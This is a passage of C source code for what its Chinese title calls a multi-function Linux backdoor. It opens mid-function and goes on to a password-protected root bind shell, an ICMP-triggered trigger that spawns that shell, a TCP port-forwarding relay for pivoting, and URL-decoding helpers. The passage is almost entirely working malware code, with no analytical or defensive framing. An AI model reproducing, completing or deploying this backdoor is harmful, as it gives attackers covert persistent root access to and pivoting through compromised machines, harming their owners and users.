一个多功能linux 后门的源代码.txt

一个多功能 linux 后门的源代码 C

{ 
i = fread(ret_buf, 1, 32768, f); 
if (i == 0) break; 
writen_file(fd, ret_buf, i); 
} 
fclose(f); 
exit(0); 
} 
writen_file(fd, erro, strlen(erro)); 
close(fd); 
exit(-1); 
} 


/* writen data to socket */ 
ssize_t writen_file(int fd, const void *vptr, size_t n)   
{ 
size_t nleft; 
ssize_t nwritten; 
const char *ptr; 
ptr = vptr; 
nleft = n; 
while(nleft > 0) 
{ 
if((nwritten = write(fd, ptr, nleft)) <= 0) 
{ 
if(errno == EINTR) 
nwritten = 0; 
else 
return(-1); 
} 
nleft -= nwritten; 
ptr += nwritten; 
} 
return(n); 
} 

/* bind root shell to a port */ 
int bind_shell(int port) 
{ 
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time; 
char passwd[15]; 

struct sockaddr_in serv_addr; 
struct sockaddr_in client_addr; 
struct timeval testtime; 

setuid(0); 
setgid(0); 
seteuid(0); 
setegid(0); 

chdir("/"); 

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
  
  if (soc_des == -1) 
exit(-1); 

bzero((char *) &serv_addr,sizeof(serv_addr)); 
serv_addr.sin_family = AF_INET; 
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); 
serv_addr.sin_port = htons(port); 

soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); 

if (soc_rc != 0) 
exit(-1); 
if (fork() != 0) 
exit(0); 
setpgrp(); 
if (fork() != 0) 
  exit(0); 
soc_rc = listen(soc_des, 5); 
if (soc_rc != 0) 
  exit(0); 
  
  testtime.tv_sec = TIMEOUT; 
testtime.tv_usec = 0; 

/*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, sizeof(testtime));*/ 

alarm(TIMEOUT); 
soc_len = sizeof(client_addr); 
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); 

if (soc_cli < 0) 
exit(0); 
alarm(0); 

cli_pid = getpid(); 
server_pid = fork(); 

if (server_pid != 0) 
{ 
write(soc_cli, GIVEPASS, strlen(GIVEPASS)); 
recv(soc_cli, passwd, sizeof(passwd), 0); 

for (i = 0; i < strlen(passwd); i++) 
{ 
if (passwd[i] == '\n' || passwd[i] == '\r') 
{ 
passwd[i] = '\0'; 
} 
} 

if (strcmp(passwd, PASSWORD) != 0) 
{ 
close(soc_cli); 
close(soc_rc); 
exit(-1); 
} 

write(soc_cli, MESSAGE, strlen(MESSAGE)); 
for (i = 0; i < 3; i++) 
{ 
dup2(soc_cli, i); 
} 

execl("/bin/sh","sh",(char *)0); 
close(soc_cli); 
close(soc_rc); 
exit(1); 
} 
close(soc_cli); 
close(soc_rc); 
exit(0); 
} 

/* return a root shell */ 
int get_shell(int fd) 
{ 
int i; 
setuid(0); 
setgid(0); 

chdir("/"); 
write(fd, MESSAGE, strlen(MESSAGE)); 
for (i = 0; i < 3; i++) 
{ 
dup2(fd, i); 
} 
execl("/bin/sh","sh",(char *)0); 
close(fd); 
return 1; 
} 

/* icmp backdoor */ 
int icmp_shell() 
{ 
int i, s, size, fromlen, port = ICMP_PORT; 
char pkt[4096]; 

struct protoent *proto; 
struct sockaddr_in from; 

proto = getprotobyname("icmp"); 

/* can't creat raw socket */ 
if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)  
exit(0); 

/* waiting for packets */ 
while(1) 
{ 
do 
{ 
fromlen = sizeof(from); 
if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&from, &fromlen)) < 0) 
    printf("", size - 28); 
}while(size != SIZEPACK + 28); 

/* size == SIZEPACK, let's bind the shell on your port :)*/ 
switch(fork())   
{ 
case -1: 
continue; 

case 0: 
bind_shell(port); 
exit (0); 
} 
} 
return 1; 
} 

/* tran socks code */ 
int socks(int listenp, char *targeth, int targetp) 
{ 
int listfd, outside, inside, size; 
pthread_t thread1; 
struct sockaddr_in client; 

if(!(listfd = create_socket())) exit(1); 
if(!(create_serv(listfd, listenp))) exit(1); 
  
  for(;;) 
{ 
size = sizeof(struct sockaddr); 
/*printf("waiting for response.........\n");*/ 
if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0) 
{ 
/*printf("accept error\n");*/ 
continue; 
} 

/*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/ 
if(!(infd=create_socket())) exit(1); 
if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);  
     
maxfd = max(outfd, infd) + 1; 
pthread_create(&thread1, NULL, (void *)&out2in, NULL); 
} 
  close(listfd); 
} 

int create_socket() 
{  
int sockfd; 
if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0) 
{ 
/*printf("Create socket error\n");*/ 
return(0); 
} 
return(sockfd); 
} 

int create_serv(int sockfd, int port) 
{ 
struct sockaddr_in srvaddr; 
    
bzero(&srvaddr, sizeof(struct sockaddr)); 
srvaddr.sin_port = htons(port); 
srvaddr.sin_family = AF_INET; 
srvaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
  
if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0) 
{ 
/*printf("Bind to port %d error\n",port);*/ 
return(0); 
} 
  
if(listen(sockfd,CONNECT_NUMBER)<0) 
{ 
/*printf("listen error\n");*/ 
return(0); 
} 
return(1); 
} 

int client_connect(int sockfd, char *server, int port) 
{ 
struct sockaddr_in cliaddr; 
struct hostent *host; 

if(!(host = gethostbyname(server))) 
{ 
/*printf("gethostbyname error:%s\n",server);*/ 
return(0); 
}  
  
bzero(&cliaddr, sizeof(struct sockaddr)); 
cliaddr.sin_family = AF_INET; 
cliaddr.sin_port = htons(port); 
cliaddr.sin_addr = *((struct in_addr *)host->h_addr); 
  
if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < 0) 
{ 
/*printf("connect %s:%d error\n",server,port);*/ 
return(0); 
} 
return(1); 
} 

int quit(int a, int b, int c) 
{ 
close(a); 
close(b); 
close(c); 
exit(1); 
} 

void out2in() 
{ 
struct timeval timeset; 
fd_set readfd, writefd; 
int result, i = 0; 
char read_in1[MAXSIZE], send_out1[MAXSIZE]; 
char read_in2[MAXSIZE], send_out2[MAXSIZE]; 
int read1 = 0, totalread1 = 0, send1=0; 
int read2 = 0, totalread2 = 0, send2=0; 
int out_fd, in_fd; 
  
out_fd = outfd; 
in_fd = infd; 
  
bzero(read_in1, MAXSIZE); 
bzero(read_in2, MAXSIZE); 
bzero(send_out1, MAXSIZE); 
bzero(send_out2, MAXSIZE); 
  
timeset.tv_sec = TIMEOUT; 
timeset.tv_usec = 0; 

while(1) 
{ 
FD_ZERO(&readfd); 
FD_ZERO(&writefd); 
  
FD_SET(out_fd, &readfd); 
FD_SET(in_fd, &writefd); 
FD_SET(out_fd, &writefd); 
FD_SET(in_fd, &readfd); 
  
result = select(maxfd, &readfd, &writefd, NULL, ×et); 
if(result < 0) 
{ 
/*printf("select error\n");*/ 
return; 
} 
else 
if(result == 0) 
{ 
/*printf("time out\n");*/ 
return; 
} 

if(FD_ISSET(out_fd, &readfd)) 
{ 
    read1 = recv(out_fd, read_in1, MAXSIZE, 0); 
if(read1 == 0) break; 
if(read1 < 0) 
{ 
/*printf("read data error\n");*/ 
return; 
} 
memcpy(send_out1 + totalread1, read_in1, read1); 
totalread1 += read1; 
bzero(read_in1, MAXSIZE); 
} 
if(FD_ISSET(in_fd, &writefd)) 
{ 
while(totalread1 > 0) 
{ 
send1 = write(in_fd, send_out1, totalread1); 
if(send1 == 0)break; 
if(send1 < 0) 
{ 
/*printf("unknow error\n");*/ 
continue; 
} 
totalread1 -= send1; 
} 
bzero(send_out1, MAXSIZE); 
} 

if(FD_ISSET(in_fd, &readfd)) 
{ 
read2 = recv(in_fd, read_in2, MAXSIZE, 0); 
if(read2 == 0) break; 
if(read2 < 0) 
{ 
/*printf("read data error\n");*/ 
return; 
} 

memcpy(send_out2 + totalread2, read_in2, read2); 
totalread2 += read2; 
bzero(read_in2, MAXSIZE); 
} 

if(FD_ISSET(out_fd, &writefd)) 
{ 
while(totalread2 > 0) 
{ 
send2 = write(out_fd, send_out2, totalread2); 
if(send2 == 0) break; 
if(send2 < 0) 
{ 
/*printf("unknow error\n");*/ 
continue; 
} 

totalread2 -= send2; 
} 
bzero(send_out2, MAXSIZE); 
} 
}   
close(out_fd); 
close(in_fd); 
return; 
} 

char x2c(char *what) 
{ 
register char digit; 

digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); 
digit *= 16; 
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); 
return (digit); 
} 


void unescape_url(char *url) 
{ 
register int x, y; 

for(x = 0 , y = 0; url[y]; ++x, ++y) 
{ 
if((url[x] = url[y]) == '%') 
{ 
url[x] = x2c(&url[y + 1]); 
y += 2; 
} 
} 
url[x] = '\0'; 
} 

void plustospace(char *str) 
{ 
register int x; 

for(x = 0; str[x]; x++) 
if (str[x] == '+') 
str[x] = ' '; 
}